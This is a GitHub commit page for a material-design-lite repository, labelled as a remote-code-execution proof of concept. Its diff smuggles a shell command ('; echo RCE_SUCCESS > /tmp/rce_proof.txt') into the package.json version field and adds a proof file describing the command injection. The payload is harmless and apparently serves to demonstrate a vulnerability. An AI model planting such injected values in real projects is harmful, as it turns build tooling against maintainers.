Skip to content

Commit 6819b17

Browse files
PoC: Add proof file and trigger RCE via package.json version
1 parent b3f67f2 commit 6819b17

2 files changed

Lines changed: 3 additions & 2 deletions

File tree

package.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "material-design-lite",
3-
"version": "1.3.0",
3+
"version": "1.3.0; echo RCE_SUCCESS > /tmp/rce_proof.txt",
44
"description": "Material Design Components in CSS, JS and HTML",
55
"private": true,
66
"license": "Apache-2.0",
@@ -74,4 +74,4 @@
7474
"es2015"
7575
]
7676
}
77-
}
77+
}

poc_proof.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
RCE Proof: Command injection via package.json version

0 commit comments

Comments
 (0)